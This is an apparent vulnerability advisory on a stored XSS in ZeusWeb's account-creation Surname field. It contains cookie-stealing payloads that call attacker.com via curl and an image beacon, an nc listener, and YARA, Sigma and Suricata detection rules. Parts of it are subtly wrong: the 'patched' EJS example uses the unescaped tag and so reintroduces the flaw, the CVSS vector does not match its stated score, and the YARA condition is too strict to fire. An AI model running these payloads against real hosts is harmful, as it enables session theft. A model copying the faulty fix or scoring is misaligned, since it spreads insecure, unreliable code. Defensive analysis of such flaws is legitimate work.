CVE-2025-13650

Executive Summary

CVE-2025-13650 is a Stored Cross-Site Scripting (XSS) vulnerability in Microcom’s ZeusWeb application, version 6.1.31. An unauthenticated attacker can inject arbitrary JavaScript into the ‘Surname’ parameter during the ‘Create Account’ operation. The injected script is stored on the server and executed in the browsers of any users who view the affected account data, leading to session hijacking, credential theft, or defacement. No patch is currently available, and the vendor has not released a security advisory. The vulnerability is publicly documented with a proof-of-concept.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a proprietary web application (ZeusWeb) from Microcom, deployed on-premises or in a private cloud. No open-source package dependencies are affected.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, but based on the vulnerability characteristics, a realistic assessment is:

• Attack Vector (AV): Network (N) – The attacker can reach the web application remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – Registration is not required.
• User Interaction (UI): None (N) – The attack does not require user interaction to inject the payload.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Potential for data exfiltration.
• Integrity (I): Low (L) – Script can modify content.
• Availability (A): None (N) – No direct impact on availability.

Estimated CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Estimated Score: 6.1 (Medium)

Threat Level: Medium – The vulnerability is easy to exploit but requires the attacker to have network access to the ZeusWeb instance. The impact is limited to data theft and defacement, not system compromise.

Deep Dive & Mechanics

The vulnerability resides in the Create Account functionality of ZeusWeb. The Surname parameter is not properly sanitized before being stored in the backend database. When an administrator or other user views the account list or profile, the stored payload is rendered in the browser without encoding, allowing the attacker’s JavaScript to execute.

Attack Flow:

1. Attacker sends a POST request to https://zeus.microcom.es:4040/index.html?zeus6=true with a malicious payload in the Surname field.
2. The server stores the payload in the database.
3. A victim (e.g., an admin) navigates to a page that displays the account details.
4. The browser executes the injected script, which can steal cookies, redirect to a phishing page, or perform actions on behalf of the victim.

Root Cause: Lack of output encoding and input validation on the Surname parameter. The application likely uses a templating engine that does not auto-escape HTML.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Server-side (Node.js/Express example)
app.post('/createAccount', (req, res) => {
    const surname = req.body.surname;
    // No sanitization
    db.insert({ surname: surname });
    res.redirect('/accounts');
});

// View rendering (EJS example)
<p>Surname: <%= account.surname %></p>  // No escaping

Patched Code (Conceptual):

// Server-side
const sanitizeHtml = require('sanitize-html');
app.post('/createAccount', (req, res) => {
    const surname = sanitizeHtml(req.body.surname, {
        allowedTags: [],
        allowedAttributes: {}
    });
    db.insert({ surname: surname });
    res.redirect('/accounts');
});

// View rendering (EJS with auto-escaping)
<p>Surname: <%- account.surname %></p>  // Escaped output

Note: Since no official patch exists, the above is a recommended fix.

Exploitation & Lab Setup

Red Team (Offensive)

Proof-of-Concept (PoC):

<!-- Inject via form submission -->
<form action="https://zeus.microcom.es:4040/index.html?zeus6=true" method="POST">
  <input type="hidden" name="surname" value='<script>alert("XSS")</script>'>
  <input type="submit" value="Submit">
</form>

Manual Exploitation using cURL:

curl -X POST "https://zeus.microcom.es:4040/index.html?zeus6=true" \
  -d "name=John&surname=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>&email=test@test.com"

Advanced Payload (Session Hijacking):

<script>
  var img = new Image();
  img.src = "https://attacker.com/log?cookie=" + document.cookie;
</script>

Lab Setup:

1. Deploy a local instance of ZeusWeb 6.1.31 (if available) or use a vulnerable Docker image.
2. Set up a listener (e.g., nc -lvnp 4444 or a simple HTTP server) to capture exfiltrated data.
3. Submit the payload via the form or cURL.
4. Log in as an admin and navigate to the account list to trigger the XSS.

Blue Team (Defensive)

Detection Steps:

1. Monitor web server logs for unusual POST requests to /index.html?zeus6=true containing <script> tags or event handlers.
2. Inspect database entries for HTML/JavaScript in the surname field.
3. Use a web application firewall (WAF) to block common XSS patterns.

Mitigation (Temporary):

• Disable the Create Account functionality if not required.
• Implement input validation to reject HTML tags in the surname field.
• Apply output encoding in the view layer.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to https://zeus.microcom.es:4040/index.html?zeus6=true with surname containing <script> tags.
  • Outbound connections from the ZeusWeb server to unknown IPs on ports 80/443 (data exfiltration).
• File IOCs:
  • Database entries in the accounts table with surname containing JavaScript code.
• Log IOCs:
  • Web server logs showing 200 OK responses to malicious POST requests.
  • Application logs showing surname values with HTML entities.

Detection Engineering

YARA Rule

rule CVE_2025_13650_XSS_Surname {
    meta:
        description = "Detects XSS payloads in the Surname parameter of ZeusWeb Create Account"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-13650"
    strings:
        $xss1 = "<script" ascii wide nocase
        $xss2 = "onerror=" ascii wide nocase
        $xss3 = "onload=" ascii wide nocase
        $xss4 = "javascript:" ascii wide nocase
        $surname = "surname=" ascii wide nocase
    condition:
        all of ($xss*) and $surname
}

Sigma Rule

title: ZeusWeb XSS via Surname Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS attempts against ZeusWeb Create Account endpoint
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/index.html?zeus6=true'
        cs-uri-query|contains: 'surname='
        cs-uri-query|contains|all:
            - '<script'
            - '>'
    condition: selection
falsepositives:
    - Legitimate use of HTML in surname (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-13650 ZeusWeb XSS Surname Injection";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/index.html?zeus6=true";
    http_uri;
    content:"surname=";
    http_client_body;
    pcre:"/<script[^>]*>/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-13650;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the Create Account feature if not essential for business operations.
2. Apply input validation – Reject any surname containing <, >, &, ", ', or JavaScript event handlers.
3. Implement output encoding – Use context-aware escaping (e.g., HTML entity encoding) when rendering user data.
4. Deploy a WAF – Block requests with XSS patterns in the surname parameter.

Long-Term Fix:

• Upgrade to a patched version of ZeusWeb when Microcom releases one.
• Conduct a full security audit of the application for similar vulnerabilities.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Vendor Contact: Microcom has not yet responded to disclosure. Monitor their official channels for updates.

Valters IT – DevSecOps & Cyber Threat Intelligence